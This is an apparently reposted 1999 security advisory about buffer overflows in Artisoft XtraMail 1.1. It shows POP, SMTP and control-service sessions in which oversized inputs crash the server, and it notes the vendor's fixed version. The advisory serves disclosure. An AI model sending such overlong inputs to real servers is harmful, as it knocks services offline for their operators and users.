XtraMail 1.1 Denial of Service - 09 Mar 1999 | ITPro Today: IT News, How-Tos, Trends, Case Studies, Career Tips, More

XtraMail 1.1 Denial of Service
Reported November 10, 1999 by USSRLABS

VERSIONS EFFECTED

Artisoft XtraMail 1.1

DESCRIPTION

UssrLabs reported problems in Artisoft"s XtraMail v1.1 due to improper bounds checking that can lead to a buffer overflow.

When a user logs into the POP server and sends a password of 1500 characters, the server crashes.

DEMONSTRATION CODE

POP Overflow:

+OK XtraMail POP3 Server (v1.11 69970090850) for Windows 95 ready at Wed, 10 Nov 99 06:14:18 +-300
user ItsMe
+OK <itsme>
pass (buffer)

Where buffer is 1500 characters.

SMTP Overflow:

220 XtraMail SMTP Server (v1.11 69970090850) for Windows 95 ready at Wed, 10 Nov 99 06:16:14 +-300
helo (buffer)

Where buffer is 10000 characters.

Control Service Overflow:

XtraMail Control Service (v1.11 69970090850) for Windows 95 ready at Wed, 10 Nov 99 06:20:11 +-300
Username: (buffer)

Where buffer is 10000 characters.

VENDOR RESPONSE

UssrLabs did not notify Artisoft of this problem, however the vendor was made aware through other channels and has since released an updated version (v1.2) of XtraMail.

CREDITS
Discovered by USSRLABS
Posted here at NTSecurity.net on November 14, 1999

Comments

Plain text